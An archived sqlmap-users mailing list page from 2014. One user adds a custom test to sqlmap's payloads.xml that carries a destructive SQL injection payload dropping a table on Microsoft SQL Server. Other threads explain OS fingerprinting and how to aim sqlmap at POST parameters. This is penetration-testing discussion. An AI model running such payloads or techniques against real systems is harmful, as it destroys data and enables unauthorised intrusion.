> </request> > - <response> > <grep>object</grep> > </response> > - <details> > <dbms>Microsoft SQL Server</dbms> > </details> > </test> > > > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar http://about.me/stamparm |
|
From: l.g. <ibo...@go...> - 2014-01-21 09:25:29
|
<l.g> writes: > > hi! In payloads.xml I substituted this snippet: > > - <!-- End of AGAINST boolean full-text search boundaries > --> > - <!-- Boolean-based blind tests - WHERE/HAVING clause > --> > - <test> > - <test> > <title>drop table attack</title> > <stype>2</stype> > <level>1</level> > <risk>5</risk> > <clause>1</clause> > <where>1</where> > <vector>c'); DROP TABLE [testTable] --</vector> > - <request> > <payload>c'); DROP TABLE [testTable] --</payload> > <comment>--</comment> > </request> > - <response> > <grep>object</grep> > </response> > - <details> > <dbms>Microsoft SQL Server</dbms> > </details> > </test> > - <test> > <title>AND boolean-based blind - WHERE or HAVING clause</title> > <stype>1</stype> > <level>1</level> > <risk>1</risk> > <clause>1</clause> > <where>1</where> > <vector>AND [INFERENCE]</vector> > - <request> > <payload>AND [RANDNUM]=[RANDNUM]</payload> > </request> > - <response> > <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> > </response> > </test> > > with this: > > - <!-- End of AGAINST boolean full-text search boundaries > --> > - <!-- Boolean-based blind tests - WHERE/HAVING clause > --> > - <test> > - <test> > <title>AND boolean-based blind - WHERE or HAVING clause</title> > <stype>1</stype> > <level>1</level> > <risk>1</risk> > <clause>1</clause> > <where>1</where> > <vector>AND [INFERENCE]</vector> > - <request> > <payload>AND [RANDNUM]=[RANDNUM]</payload> > </request> > - <response> > <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> > </response> > </test> > > but it doesn't work.. > thank you > > -------------------------------------------------------------------------- ---- > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > http://pubads.g.doubleclick.net/gampad/clk? id=119420431&iu=/4140/ostg.clktrk > Sorry! I inverted the snippets in the previous post.. this is what I added to std xml: - <test> <title>drop table attack</title> <stype>2</stype> <level>1</level> <risk>5</risk> <clause>1</clause> <where>1</where> <vector>c'); DROP TABLE [testTable] --</vector> - <request> <payload>c'); DROP TABLE [testTable] --</payload> <comment>--</comment> </request> - <response> <grep>object</grep> </response> - <details> <dbms>Microsoft SQL Server</dbms> </details> </test> |
|
From: l.g. <ibo...@go...> - 2014-01-20 20:30:14
|
hi! In payloads.xml I substituted this snippet: - <!-- End of AGAINST boolean full-text search boundaries --> - <!-- Boolean-based blind tests - WHERE/HAVING clause --> - <test> - <test> <title>drop table attack</title> <stype>2</stype> <level>1</level> <risk>5</risk> <clause>1</clause> <where>1</where> <vector>c'); DROP TABLE [testTable] --</vector> - <request> <payload>c'); DROP TABLE [testTable] --</payload> <comment>--</comment> </request> - <response> <grep>object</grep> </response> - <details> <dbms>Microsoft SQL Server</dbms> </details> </test> - <test> <title>AND boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [INFERENCE]</vector> - <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> </request> - <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> with this: - <!-- End of AGAINST boolean full-text search boundaries --> - <!-- Boolean-based blind tests - WHERE/HAVING clause --> - <test> - <test> <title>AND boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [INFERENCE]</vector> - <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> </request> - <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> but it doesn't work.. thank you |
|
From: taks e. <see...@ho...> - 2014-01-15 19:24:59
|
[21:22:31] [WARNING] unknown web page charset 'ansi'. Please report by e-mail to sql...@li.... Here it is! |
|
From: <du...@al...> - 2014-01-14 20:16:19
|
Thanks a bunch! :) On 2014-01-13 09:06, Miroslav Stampar wrote: > Hi. > > There are two ways: > > 1) From DBMS banner (e.g. banner "Microsoft SQL Server 2005 - > 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 > Microsoft Corporation Express Edition on WINDOWS NT 5.2 (Build 3790: > Service Pack 2)" -> Windows 2003) [1] > 2) Heuristically/guessing from IIS version (e.g. HTTP response header > "Server: Microsoft-IIS/6.0" -> Windows 2003) [2] > > Kind regards, > Miroslav Stampar > > Reference: > [1] sqlmap/plugins/dbms/mssqlserver/fingerprint.py > [2] sqlmap/xml/banner/server.xml > > On Sun, Jan 12, 2014 at 1:53 PM, <du...@al...> wrote: > >> No, the site displays custom error pages. >> >> On 2014-01-12 13:43, Miroslav Stampar wrote: >> >> Are error messages turned on on the target server? >> >> Bye >> On Jan 12, 2014 1:19 PM, <du...@al...> wrote: >> >> Well I checked the HTTP headers on the server and it only says >> "Microsoft/IIS6.0". >> And I can't figure out how to via the SQL injection determine the >> OS. >> >> Anymore information would be greatly appreciated. >> No rush though, I'm mostly curious on how it does it :) >> Maybe some sort of example? >> >> Regards >> >> On 2014-01-12 12:55, Miroslav Stampar wrote: >> Hi. >> >> There are multiple vectors sqlmap uses. For example, it usually >> uses >> DBMS banner if available and HTTP header values (e.g. Server). Do >> you >> need more specific info? >> >> Bye >> On Jan 11, 2014 10:17 PM, <du...@al...> wrote: >> >> I tried sqlmap on a site running on Windows Server 2003, and it >> could >> detect the OS. >> How does sqlmap go about doing that? >> >> Regards, Jimmy >> >> > ------------------------------------------------------------------------------ >> CenturyLink Cloud: The Leader in Enterprise Cloud Services. >> Learn Why More Businesses Are Choosing CenturyLink Cloud For >> Critical Workloads, Development Environments & Everything In >> Between. >> Get a Quote or Start a Free Trial Today. >> >> > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk >> [1] >> >> [1] >> [1] >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users [2] [2] >> [2] >> >> Links: >> ------ >> [1] >> >> > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk >> [1] >> [1] >> [2] https://lists.sourceforge.net/lists/listinfo/sqlmap-users [2] >> [2] >> >> Links: >> ------ >> [1] >> > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk >> [1] >> [2] https://lists.sourceforge.net/lists/listinfo/sqlmap-users [2] > > -- > Miroslav Stampar > http://about.me/stamparm [3] > > Links: > ------ > [1] > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > [2] https://lists.sourceforge.net/lists/listinfo/sqlmap-users > [3] http://about.me/stamparm |
|
From: Chris O. <chr...@gm...> - 2014-01-14 11:58:44
|
I'd suggest having a look at the manual, it's very well documented. if you're simply looking to inject into POST parameters then you just need to look at the --data option. Beyond that, you can do some extremely exotic injections. SQLMap has had GET and POST parameters covered since forever. There are plenty of ways you can go about this, but since you asked, an example of injecting into a POST request might be something like -u " http://www.example.com" --data "username=foo&password=bar" -p username -f -b. That example allows you to provide the full POST data, zone in on just the username parameter and then fingerprint and banner grab as a basic starting point. You'll want to use a local proxy such as Burp Suite to get full visibility of the traffic, it's all just about HTTP requests really. For something as basic as a POST injection, you don't even need the custom injection markers. On 14 January 2014 11:45, Mattia V <so...@gm...> wrote: > Sorry to interrupt, but this is something I've been looking for for quite > a while. > Could you please point out an example of usage on how to inject to a > custom point that is not the url (e.g. a POST form)? > Thank you very much > > > On Tue, Jan 14, 2014 at 10:59 AM, Chris Oakley < > chr...@gm...> wrote: > >> You can tell the program to inject anywhere. If your injection point is >> in a slightly weirder place (and, to be honest, even if it's not) then the >> easiest thing to do is to save the HTTP request to a file, place a * where >> you want the program to inject and use the -r command to point SQLMap at >> the right request file. - Chris >> >> |
|
From: Mattia V <so...@gm...> - 2014-01-14 11:45:06
|
Sorry to interrupt, but this is something I've been looking for for quite a while. Could you please point out an example of usage on how to inject to a custom point that is not the url (e.g. a POST form)? Thank you very much On Tue, Jan 14, 2014 at 10:59 AM, Chris Oakley <chr...@gm... > wrote: > You can tell the program to inject anywhere. If your injection point is > in a slightly weirder place (and, to be honest, even if it's not) then the > easiest thing to do is to save the HTTP request to a file, place a * where > you want the program to inject and use the -r command to point SQLMap at > the right request file. - Chris > > |
48 messages has been excluded from this view by a project administrator.
